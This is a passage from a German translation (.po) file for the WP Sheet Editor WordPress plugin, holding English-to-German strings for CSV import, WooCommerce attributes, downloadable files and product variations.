"Copy and Paste into the spreadsheet below" msgstr "In das Arbeitsblatt unten kopieren und einfügen" #: universal-sheet/views/import-modal.php:49 msgid "CSV file location" msgstr "Speicherort der CSV-Datei" #: universal-sheet/views/import-modal.php:53 msgid "Show advanced options" msgstr "Erweiterte Optionen anzeigen" #: universal-sheet/views/import-modal.php:56 msgid "Separator" msgstr "Trennzeichen" #: universal-sheet/views/import-modal.php:60 msgid "Start from row number:" msgstr "Beginnen Sie bei Zeilennummer:" #: universal-sheet/views/import-modal.php:60 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Wenn Sie einen Import stoppen, um Ihre CSV-Datei zu bearbeiten oder die " "Importgeschwindigkeit zu ändern, können Sie einen neuen Import starten und " "an der Stelle fortfahren, an der Sie aufgehört haben." #: universal-sheet/views/import-modal.php:64 msgid "Decode quotes?" msgstr "Anführungszeichen dekodieren?" #: universal-sheet/views/import-modal.php:67 msgid "Auto retry failed batches?" msgstr "Automatische Wiederholung fehlgeschlagener Vorgänge?" #: universal-sheet/views/import-modal.php:67 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Wir importieren die Datei in Zyklen (d.h. 4 Zeilen alle paar Sekunden). Wenn " "ein Verarbeitungszyklus fehlschlägt, unterbrechen wir normalerweise den " "Import und fragen Sie, ob Sie den Import erneut versuchen oder abbrechen " "möchten. Wählen Sie diese Option, um den Import automatisch zu wiederholen. " "Vorsicht: Sie müssen in Schritt 3 des Imports die Option zum Aktualisieren " "vorhandener Zeilen wählen, damit wir bei der Wiederholung den erfolgreichen " "Import überspringen und nur den fehlgeschlagenen Versuch wiederholen können. " "Wenn Sie in Schritt 3 des Imports nicht die Option zum Aktualisieren wählen, " "könnte jede Wiederholung einige zuvor importierte Zeilen duplizieren." #: universal-sheet/views/import-modal.php:72 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Tipp: Sie können das \"Export\"-Tool verwenden, um ein CSV herunterzuladen " "und die verfügbaren Spalten und das Format anzuzeigen.
                  Sie können unsere " "Dokumentation hierlesen." #: universal-sheet/views/import-modal.php:78 msgid "Select columns to import" msgstr "Zu importierende Spalten auswählen" #: universal-sheet/views/import-modal.php:79 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Wichtig: Wir haben nur eine Spalte in der CSV-Datei erkannt. Wenn dies " "falsch ist, führen Sie die folgenden " "Schritte aus, um den Fehler zu beheben" #: universal-sheet/views/import-modal.php:80 msgid "We automatically detected all the columns." msgstr "Wir haben alle Spalten automatisch erkannt." #: universal-sheet/views/import-modal.php:80 msgid "Import all the columns" msgstr "Alle Spalten importieren" #: universal-sheet/views/import-modal.php:80 msgid "or" msgstr "oder" #: universal-sheet/views/import-modal.php:80 msgid "Select individual columns to import" msgstr "Einzelne Spalten zum Importieren auswählen" #: universal-sheet/views/import-modal.php:82 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Tipp: Wenn Sie Informationen von dieser Website bearbeitet haben, sollten " "Sie die bearbeiteten Spalten und die Datensatz-ID (record_id) importieren. " "Importieren Sie keine Spalten, die nicht geändert wurden" #: universal-sheet/views/import-modal.php:84 msgid "Unselect all columns" msgstr "Alle Spalten abwählen" #: universal-sheet/views/import-modal.php:85 msgid "CSV Column" msgstr "CSV-Spalte" #: universal-sheet/views/import-modal.php:85 msgid "WordPress field" msgstr "WordPress-Feld" #: universal-sheet/views/import-modal.php:87 msgid "Example: " msgstr "Beispiel: " #: universal-sheet/views/import-modal.php:93 #: universal-sheet/views/import-modal.php:151 #: universal-sheet/views/import-modal.php:159 msgid "Previous" msgstr "Vorherige" #: universal-sheet/views/import-modal.php:97 msgid "Do you want to update or create items?" msgstr "Möchten Sie Elemente aktualisieren oder erstellen?" #: universal-sheet/views/import-modal.php:100 msgid "Create new items and update existing items" msgstr "Neue Elemente erstellen und bestehende Elemente aktualisieren" #: universal-sheet/views/import-modal.php:101 msgid "Import all rows as new" msgstr "Alle Zeilen als neu importieren" #: universal-sheet/views/import-modal.php:102 msgid "Only create new items, ignore existing items" msgstr "Nur neue Elemente erstellen, vorhandene Elemente ignorieren" #: universal-sheet/views/import-modal.php:103 msgid "Update existing items, ignore new items" msgstr "Vorhandene Elemente aktualisieren, neue Elemente ignorieren" #: universal-sheet/views/import-modal.php:106 msgid "How do we find existing items to update?" msgstr "Wie finden wir bestehende Artikel zur Aktualisierung?" #: universal-sheet/views/import-modal.php:110 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Wir finden Zeilen mit dem gleichen Wert im CSV-Feld und im WP-Feld.
                  D.h. " "Produkte mit derselben SKU oder ID." #: universal-sheet/views/import-modal.php:112 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Sie haben eine Spalte aus der CSV-Datei unten ausgewählt, aber die Spalte " "wird nicht
                  importiert. Bitte gehen Sie zum vorherigen Schritt und wählen " "Sie die zu importierende Spalte aus.
                  Hypothetisches Beispiel: Wenn Sie " "bestehende Produkte mit derselben ID aktualisieren möchten, müssen Sie die " "ID-Spalte importieren, da wir sonst nicht über die IDs verfügen, um sie zu " "finden." #: universal-sheet/views/import-modal.php:114 msgid "CSV Field" msgstr "CSV-Feld" #: universal-sheet/views/import-modal.php:120 msgid "WordPress Field" msgstr "WordPress-Feld" #: universal-sheet/views/import-modal.php:138 msgid "Field 2: CSV Field" msgstr "Feld 2: CSV-Feld" #: universal-sheet/views/import-modal.php:144 msgid "Field 2: WordPress Field" msgstr "Feld 2: WordPress-Feld" #: universal-sheet/views/import-modal.php:155 msgid "Final step" msgstr "Letzter Schritt" #: universal-sheet/views/import-modal.php:156 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. Lesen wir die Datei richtig? Hier ist eine Vorschau der ersten 5 Zeilen " "aus der Datei." #: universal-sheet/views/import-modal.php:158 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Bitte machen Sie vor dem Ausführen des Imports eine Sicherheitskopie, " "damit Sie den Vorgang im Falle falscher Einstellungen oder einer falschen " "Datei rückgängig machen können. Durch den Import werden die Informationen " "direkt gespeichert." #: universal-sheet/views/import-modal.php:170 msgid "The preview is fine, start import" msgstr "Die Vorschau ist in Ordnung, starten Sie den Import" #: universal-sheet/views/import-modal.php:171 msgid "Cancel import" msgstr "Import abbrechen" #: universal-sheet/views/import-modal.php:174 msgid "Importing" msgstr "Importiere" #: universal-sheet/views/import-modal.php:182 msgid "View log" msgstr "Logdatei anzeigen" #: woocommerce/inc/attributes.php:42 woocommerce/inc/attributes.php:487 msgid "Product attributes" msgstr "Produktattribute" #: woocommerce/inc/attributes.php:154 msgid "Change attribute settings" msgstr "Attribut-Einstellungen ändern" #: woocommerce/inc/attributes.php:162 msgid "What setting do you want to change?" msgstr "Welche Einstellung möchten Sie ändern?" #: woocommerce/inc/attributes.php:164 msgid "Is Visible?" msgstr "Sichtbar?" #: woocommerce/inc/attributes.php:164 msgid "Used for Variations?" msgstr "Für Varianten verwendet?" #: woocommerce/inc/attributes.php:167 msgid "New value" msgstr "Neuer Wert" #: woocommerce/inc/attributes.php:169 msgid "No" msgstr "Nein" #: woocommerce/inc/attributes.php:169 msgid "Yes" msgstr "Ja" #: woocommerce/inc/attributes.php:172 msgid "What attribute do you want to edit?" msgstr "Welches Attribut möchten Sie bearbeiten?" #: woocommerce/inc/attributes.php:461 msgid "Custom attribute: %s" msgstr "Benutzerdefiniertes Attribut: %s" #: woocommerce/inc/attributes.php:474 msgid "Enter multiple attributes separated by |" msgstr "Mehrere Attribute eingeben, getrennt durch |" #: woocommerce/inc/attributes.php:497 woocommerce/inc/attributes.php:499 msgid "Edit attributes" msgstr "Attribute bearbeiten" #: woocommerce/inc/attributes.php:500 msgid "" "Note: Separate values with the character %s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own " "columns in the spreadsheet. You can edit them in the columns (faster) or " "using this popup.
                  If you are " "editing the attributes of variations, the variation must be enabled, " "otherwise the attributes won't be saved." msgstr "" "Hinweis: Trennen Sie Werte mit dem Zeichen %s
                  Wir empfehlen die " "Verwendung von Globalen Attributen, wenn Sie diese in vielen Produkten " "verwenden.Globales Attribut erstellen
                  Globale Attribute haben ihre eigenen Spalten im Arbeitsblatt. Sie " "können sie in den Spalten (schneller) oder mit Hilfe dieses Popup-Fensters " "bearbeiten.
                  Wenn Sie die " "Attribute von Varianten bearbeiten, muss die Variante aktiviert sein, sonst " "werden die Attribute nicht gespeichert." #: woocommerce/inc/attributes.php:535 woocommerce/inc/attributes.php:536 #: woocommerce/inc/downloadable.php:226 woocommerce/inc/downloadable.php:227 #: woocommerce/inc/variations.php:415 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:803 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:804 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:881 msgid "Name" msgstr "Name" #: woocommerce/inc/attributes.php:535 msgid "Is visible?" msgstr "Sichtbar?" #: woocommerce/inc/attributes.php:535 msgid "Used for variation?" msgstr "Für Variante verwendet?" #: woocommerce/inc/downloadable.php:111 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:602 msgid "Downloadable" msgstr "Herunterladbar" #: woocommerce/inc/downloadable.php:128 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:736 msgid "Download limit" msgstr "Downloadlimit" #: woocommerce/inc/downloadable.php:140 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:748 msgid "Download expiry" msgstr "Download-Ablaufdatum" #: woocommerce/inc/downloadable.php:152 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:760 msgid "Download type" msgstr "Download-Typ" #: woocommerce/inc/downloadable.php:156 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Standard Product" msgstr "Standardprodukt" #: woocommerce/inc/downloadable.php:157 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:765 msgid "Application/Software" msgstr "Anwendung/Software" #: woocommerce/inc/downloadable.php:158 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:766 msgid "Music" msgstr "Musik" #: woocommerce/inc/downloadable.php:166 msgid "Download files : names" msgstr "Dateien herunterladen : Namen" #: woocommerce/inc/downloadable.php:174 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Dies ist optional. Lassen Sie das Feld leer, um den Namen aus den URLs zu " "verwenden. Geben Sie mehrere durch Kommata getrennte Namen ein" #: woocommerce/inc/downloadable.php:182 msgid "Download files : URLs" msgstr "Dateien herunterladen : URLs" #: woocommerce/inc/downloadable.php:189 msgid "Enter multiple URLs separated by commas" msgstr "Mehrere URLs eingeben, getrennt durch Kommata" #: woocommerce/inc/downloadable.php:198 woocommerce/inc/downloadable.php:202 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:775 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:779 msgid "Download files" msgstr "Dateien herunterladen" #: woocommerce/inc/downloadable.php:200 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:777 msgid "Edit files" msgstr "Dateien bearbeiten" #: woocommerce/inc/downloadable.php:203 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:780 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Aus diesem Produkt Dateien kopieren: (Sie müssen die Änderungen anschließend " "speichern)" #: woocommerce/inc/downloadable.php:203 #: woocommerce/views/spreadsheet-create-variations-modal.php:20 #: woocommerce/views/spreadsheet-create-variations-modal.php:47 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:780 msgid "Select product..." msgstr "Produkt auswählen..." #: woocommerce/inc/downloadable.php:226 woocommerce/inc/downloadable.php:227 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:803 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:804 msgid "File (url or path)" msgstr "Datei (URL oder Pfad)" #: woocommerce/inc/downloadable.php:253 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Wir werden diese Dateien speichern. Bestehende Dateien werden überschrieben. " "Geben Sie nur die Datei-URL ein, Sie können mehrere durch Kommata getrennte " "URLs eingeben." #: woocommerce/inc/downloadable.php:257 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Wir werden die neue Datei an die bestehenden Dateien in den Produkten " "anhängen. Geben Sie nur die Datei-URL ein, Sie können mehrere durch Kommata " "getrennte URLs eingeben." #: woocommerce/inc/downloadable.php:337 woocommerce/inc/variations.php:1058 msgid "Please select a product." msgstr "Bitte wählen Sie ein Produkt aus." #: woocommerce/inc/downloadable.php:361 msgid "Files saved." msgstr "Dateien gespeichert." #: woocommerce/inc/downloadable.php:364 msgid "The files could not be saved." msgstr "Die Dateien konnten nicht gespeichert werden." #: woocommerce/inc/import-export.php:53 msgid "Skip broken images?" msgstr "Zerstörte Bilder überspringen?" #: woocommerce/inc/import-export.php:53 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Standardmäßig stoppt der Import, wenn ein Produkt auf ein defektes Bild " "verweist, und Sie müssen das Problem in der Datei korrigieren und einen " "neuen Import starten. Aktivieren Sie diese Option, um Produkte ohne Bilder " "zu importieren, wenn die Bild-URL defekt ist" #: woocommerce/inc/import-export.php:60 msgid "Downloads" msgstr "Downloads" #: woocommerce/inc/import-export.php:61 msgid "Attributes" msgstr "Eigenschaften" #: woocommerce/inc/import-export.php:186 msgid "" "Here is a
                  sample CSV containing all " "types of products." msgstr "" "Hier ist ein Muster-CSV, das alle Arten " "von Produkten enthält." #: woocommerce/inc/import-export.php:331 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %s: %s. Please correct it and start a new import" msgstr "" "Eine Zeile für Varianten hat ein übergeordnetes Produkt, das nicht " "existiert. Die Spalte \"übergeordnetes Produkt\" enthält die %s: %s. Bitte " "korrigieren Sie sie und starten Sie einen neuen Import" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:9 #: woocommerce/views/spreadsheet-create-variations-modal.php:69 #: wp-sheet-editor/dev/inc/api/editor.php:72 msgid "Create variations" msgstr "Varianten erstellen" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Varianten für variable Produkte erstellen und kopieren." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Varianten anzeigen" #: woocommerce/inc/variations.php:40 msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Wenn dies aktiviert ist, werden die Produktvarianten angezeigt, und Sie " "können sie bearbeiten." #: woocommerce/inc/variations.php:367 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:824 msgid "Variation description" msgstr "Beschreibung der Variante" #: woocommerce/inc/variations.php:378 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Variation enabled?" msgstr "Variante aktiviert?" #: woocommerce/inc/variations.php:395 woocommerce/inc/variations.php:397 #: woocommerce/inc/variations.php:399 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:861 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:863 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:865 msgid "Default attributes" msgstr "Standard-Attribute" #: woocommerce/inc/variations.php:400 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Eigenschaften erscheinen als Dropdowns auf der Produktseite, wo der Benutzer " "die unterschiedlichen Farben, Größen und jedes Attribut auswählen kann. Hier " "können Sie die in den Dropdown-Listen ausgewählten Standardoptionen " "definieren.
                  Separate Werte mit dem Zeichen %s
                  . Dies funktioniert nur " "für variable Produkte und muss Variationen haben, sonst werden die " "Standardattribute nicht gespeichert." #: woocommerce/inc/variations.php:812 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:139 msgid "Variation: %s" msgstr "Variante: %s" #: woocommerce/inc/variations.php:865 msgid "The source product doesn't have variations." msgstr "Das Ausgangsprodukt hat keine Varianten." #: woocommerce/inc/variations.php:1049 wp-sheet-editor/dev/inc/ajax.php:138 msgid "Request not allowed. Try again later." msgstr "Anfrage nicht erlaubt. Versuchen Sie es später noch einmal." #: woocommerce/inc/variations.php:1091 woocommerce/inc/variations.php:1180 msgid "%s variations created." msgstr "%s Variationen erstellt." #: woocommerce/inc/variations.php:1100 msgid "Target products not found." msgstr "Zielprodukte nicht gefunden." #: woocommerce/inc/variations.php:1195 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "Die Möglichkeit, Varianten für jede Kombination von Attributen zu erstellen, " "erfordert WooCommerce 3.0 oder höher. Bitte aktualisieren Sie WooCommerce." #: woocommerce/inc/variations.php:1199 msgid "User not allowed" msgstr "Benutzer nicht erlaubt" #: woocommerce/inc/variations.php:1203 msgid "Data missing, try again later." msgstr "Daten fehlen, versuchen Sie es später noch einmal." #: woocommerce/inc/variations.php:1220 msgid "Wrong product type. Make sure it is a variable product." msgstr "" "Falscher Produkttyp. Stellen Sie sicher, dass es sich um ein variables " "Produkt handelt." #: woocommerce/inc/variations.php:1333 msgid "Please select a source product." msgstr "Bitte wählen Sie ein Quellprodukt aus." #: woocommerce/inc/variations.php:1481 msgid "Error on row ID: %d - %s" msgstr "Fehler an Zeilen-ID: %d - %s" #: woocommerce/inc/variations.php:1488 msgid "Please correct the error and save again." msgstr "Bitte korrigieren Sie den Fehler und speichern Sie erneut." #: woocommerce/views/spreadsheet-create-variations-modal.php:7 msgid "Variations Manager" msgstr "Varianten-Manager" #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:14 msgid "Copy variations" msgstr "Varianten kopieren" #: woocommerce/views/spreadsheet-create-variations-modal.php:15 #: woocommerce/views/spreadsheet-create-variations-modal.php:70 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:19 msgid "Copy variations and attributes from this product:" msgstr "Varianten und Attribute dieses Produkts kopieren:" #: woocommerce/views/spreadsheet-create-variations-modal.php:26 msgid "I don't want to copy all the variations" msgstr "Ich möchte nicht alle Varianten kopieren" #: woocommerce/views/spreadsheet-create-variations-modal.php:26 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Standardmäßig kopieren wir alle Attribute und alle Variationen und ersetzen " "die vorhandenen Variationen. Sie können diese Option aktivieren, um einzelne " "Varianten zu kopieren und an die vorhandenen Varianten des Zielproduktes " "anzuhängen." #: woocommerce/views/spreadsheet-create-variations-modal.php:30 msgid "Which variations do you want to copy?" msgstr "Welche Varianten möchten Sie kopieren?" #: woocommerce/views/spreadsheet-create-variations-modal.php:38 #: woocommerce/views/spreadsheet-create-variations-modal.php:74 msgid "The variations are for these products: " msgstr "Die Varianten gelten für diese Produkte: " #: woocommerce/views/spreadsheet-create-variations-modal.php:38 #: woocommerce/views/spreadsheet-create-variations-modal.php:74 msgid "Copy the variations into these products." msgstr "Die Varianten in diese Produkte kopieren." #: woocommerce/views/spreadsheet-create-variations-modal.php:41 #: woocommerce/views/spreadsheet-create-variations-modal.php:77 msgid "Select individual products" msgstr "Einzelne Produkte auswählen" #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:78 msgid "Select all the products from a search" msgstr "Alle Produkte aus einer Suche auswählen" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 msgid "All the products in the store" msgstr "Alle Produkte im Geschäft" #: woocommerce/views/spreadsheet-create-variations-modal.php:45 #: woocommerce/views/spreadsheet-create-variations-modal.php:81 msgid "I understand it will update the products from my search." msgstr "Ich weiß, dass die Produkte aus meiner Suche aktualisiert werden." #: woocommerce/views/spreadsheet-create-variations-modal.php:45 #: woocommerce/views/spreadsheet-create-variations-modal.php:81 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Wenn Sie zum Beispiel mit dem Suchwerkzeug nach Beiträgen von Autor = Mark " "gesucht haben, werden wir nur Beiträge mit Autor Mark aktualisieren" #: woocommerce/views/spreadsheet-create-variations-modal.php:52 msgid "Show advanced options " msgstr "Erweiterte Optionen anzeigen " #: woocommerce/views/spreadsheet-create-variations-modal.php:55 msgid "Use prices from simple product (parent) on the variations" msgstr "Preise vom einfachen Produkt (Elternteil) auf die Varianten anwenden" #: woocommerce/views/spreadsheet-create-variations-modal.php:55 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Sie können einfache Produkte in variable Produkte umwandeln. Sie können " "Varianten in ein einfaches Produkt kopieren und die Preise des einfachen " "Produkts bei den Varianten beibehalten." #: woocommerce/views/spreadsheet-create-variations-modal.php:59 msgid "Do not copy the variation images?" msgstr "Die Bilder der Varianten nicht kopieren?" #: woocommerce/views/spreadsheet-create-variations-modal.php:59 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Aktivieren Sie diese Option, wenn Sie alle Daten der Variante mit Ausnahme " "des Variantenbildes kopieren möchten." #: woocommerce/views/spreadsheet-create-variations-modal.php:79 msgid "All the variable products" msgstr "Alle variablen Produkte" #: woocommerce/views/spreadsheet-create-variations-modal.php:90 msgid "Create variations for every combination of attributes?" msgstr "Varianten für jede Kombination von Attributen erstellen?" #: woocommerce/views/spreadsheet-create-variations-modal.php:93 msgid "Create this number of variations" msgstr "Diese Anzahl von Varianten erstellen" #: woocommerce/views/spreadsheet-search-on-variation.php:2 msgid "Search on variations?" msgstr "Nach Varianten suchen?" #: woocommerce/views/spreadsheet-search-on-variation.php:2 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Alle Parameter werden für die Suche nach Variationen anstelle der " "Hauptprodukte verwendet." #: woocommerce/views/variation-metabox-shortcut.php:9 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Sie können all diese Varianten ansehen und sie alle " "auf einmal in unserem Arbeitsblatt bearbeiten. Im Arbeitsblatt öffnen" #: woocommerce/woocommerce.php:179 msgid "Remove duplicates by sku (delete the latest)" msgstr "SKU-Duplikate entfernen (neuesten Artikel löschen)" #: woocommerce/woocommerce.php:187 msgid "Remove duplicates by sku (delete the oldest)" msgstr "SKU-Duplikate entfernen (ältesten Artikel löschen)" #: woocommerce/woocommerce.php:211 msgid "Copy regular price and decrease number" msgstr "Normalen Preis kopieren und Anzahl verringern" #: woocommerce/woocommerce.php:228 msgid "Copy regular price and decrease by percentage" msgstr "Normalen Preis kopieren und prozentual verringern" #: woocommerce/woocommerce.php:275 msgid "WooCommerce products" msgstr "WooCommerce-Produkte" #: woocommerce/woocommerce.php:280 msgid "Disable product inventory stats?" msgstr "Produktbestandsstatistiken deaktivieren?" #: woocommerce/woocommerce.php:281 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "Das Arbeitsblatt für WooCommerce-Produkte generiert automatisch " "Bestandseinheiten und Bestandspreisstatistiken und zeigt die Statistiken " "über dem Arbeitsblatt an. Dies kann die Ausführung des Blattes verlangsamen, " "wenn Sie mehrere tausend Produkte haben. Deaktivieren Sie die Funktion, wenn " "das Arbeitsblatt zu langsam ist oder beim Laden von Zeilen Fehler auftreten." #: woocommerce/woocommerce.php:287 msgid "Use separate columns for images during export and import?" msgstr "Getrennte Spalten für Bilder beim Export und Import verwenden?" #: woocommerce/woocommerce.php:288 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Standardmäßig exportieren und importieren wir eine Spalte namens \"Bilder\", " "in der das Beitragsbild und Galeriebilder kombiniert sind. Aktivieren Sie " "diese Option, um eine Spalte mit dem Beitragsbild und eine Spalte mit " "Galeriebildern zu exportieren und zu importieren" #: woocommerce/woocommerce.php:294 msgid "Product attributes not visible" msgstr "Nicht sichtbare Produktattribute" #: woocommerce/woocommerce.php:295 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords, enter multiple separated by comma. I.e. \"car, airplane\" would " "match \"Car model, Car marker, Expensive Airplane, airplanes\". This applies " "after editing a product in the spreadsheet cells." msgstr "" "Das Plugin markiert alle Attribute, die diese Schlüsselwörter NICHT " "enthalten, als sichtbar. Geben Sie mehrere durch Kommata getrennt ein. D.h. " "\"Auto, Flugzeug\" würde mit \"Automodell, Auto-Marker, teures Flugzeug, " "Flugzeuge\" übereinstimmen. Dies gilt nach der Bearbeitung eines Produkts in " "den Zellen des Arbeitsblatts." #: woocommerce/woocommerce.php:300 msgid "Product attributes not used for variations" msgstr "Nicht für Varianten verwendete Produktattribute" #: woocommerce/woocommerce.php:301 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords, enter multiple separated by comma. I.e. \"car, " "airplane\" would match \"Car model, Car marker, Expensive Airplane, airplanes" "\". This applies after editing a product in the spreadsheet cells." msgstr "" "Das Plugin markiert alle Attribute, die diese Schlüsselwörter NICHT " "enthalten, als für Varianten verwendet. Geben Sie mehrere durch Kommata " "getrennt ein. D.h. \"Auto, Flugzeug\" würde mit \"Automodell, Auto-Marker, " "teures Flugzeug, Flugzeuge\" übereinstimmen. Dies gilt nach der Bearbeitung " "eines Produkts in den Zellen des Arbeitsblatts." #: woocommerce/woocommerce.php:306 msgid "Maximum number of variations per combination of attributes" msgstr "Maximale Anzahl von Varianten je Kombination von Attributen" #: woocommerce/woocommerce.php:307 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "Das Werkzeug \"Varianten erstellen\" ermöglicht es Ihnen, Varianten auf der " "Grundlage der Kombination von Attributen zu erstellen. Die Standardgrenze " "liegt bei 200 Varianten, um Ihren Server nicht zu überlasten. Sie können das " "Limit hier erhöhen, wenn Sie mehr Varianten benötigen." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:360 msgid "Attribute %d name" msgstr "Eigenschaft %d Name" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:360 woocommerce/woocommerce.php:379 msgid "Attribute name" msgstr "Eigenschaft Name" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:362 msgid "Attribute %d value(s)" msgstr "Eigenschaft %d Wert(e)" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:362 woocommerce/woocommerce.php:381 msgid "Attribute value(s)" msgstr "Eigenschaft Wert(e)" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:364 msgid "Attribute %d visible" msgstr "Eigenschaft %d sichtbar" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:364 woocommerce/woocommerce.php:383 msgid "Attribute visibility" msgstr "Eigenschaft Sichtbarkeit" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:366 msgid "Attribute %d global" msgstr "Eigenschaft %d global" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:366 woocommerce/woocommerce.php:385 msgid "Is a global attribute?" msgstr "Ein globales Attribut?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:368 msgid "Attribute %d default" msgstr "Eigenschaft %d Standard" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:368 woocommerce/woocommerce.php:387 msgid "Default attribute" msgstr "Standard-Attribut" #. translators: %d: Download number #: woocommerce/woocommerce.php:370 msgid "Download %d name" msgstr "%d Namen herunterladen" #. translators: %d: Download number #: woocommerce/woocommerce.php:370 woocommerce/woocommerce.php:389 msgid "Download name" msgstr "Download Name" #. translators: %d: Download number #: woocommerce/woocommerce.php:372 msgid "Download %d URL" msgstr "%d URL(s) herunterladen" #. translators: %d: Download number #: woocommerce/woocommerce.php:372 woocommerce/woocommerce.php:391 msgid "Download URL" msgstr "Download URL" #. translators: %d: Meta number #: woocommerce/woocommerce.php:374 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:374 woocommerce/woocommerce.php:393 msgid "Import as meta data" msgstr "Als Metadaten importieren" #: woocommerce/woocommerce.php:375 wp-sheet-editor/dev/inc/ajax.php:324 msgid "Tags" msgstr "Tags" #: woocommerce/woocommerce.php:375 woocommerce/woocommerce.php:394 msgid "Tags (comma separated)" msgstr "Tags (kommagetrennt)" #: woocommerce/woocommerce.php:492 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Wir müssen die Zeilen des Arbeitsblatts neu laden, um die 